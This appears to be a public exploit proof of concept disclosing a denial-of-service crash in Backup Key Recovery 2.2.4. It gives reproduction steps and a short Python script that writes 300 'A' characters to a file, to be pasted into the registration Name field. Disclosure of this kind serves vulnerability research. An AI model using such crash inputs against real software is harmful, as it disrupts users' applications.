#Exploit Title: Backup Key Recovery 2.2.4 - 'Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: www.nsauditor.com 
#Software Link: https://www.nsauditor.com/downloads/backeyrecovery_setup.exe
#Tested Version: 2.2.4
#Tested on: Windows 7 x64 Service Pack 1
 
#Steps to produce the crash:
#1.- Run python code: Backup_key_rec_2.2.4.py
#2.- Open backup.txt and copy content to clipboard
#3.- Open Backup Key Recovery
#4.- Select "Register"
#5.- In "Name" paste Clipboard
#6.- In Key type "test"
#7.- Click "Ok"
#8.- Crarshed
 
cod = "\x41" * 300
 
f = open('backup.txt', 'w')
f.write(cod)
f.close()